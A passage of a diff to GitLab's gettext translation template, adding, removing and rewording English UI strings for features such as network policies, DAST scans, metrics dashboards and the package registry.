msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
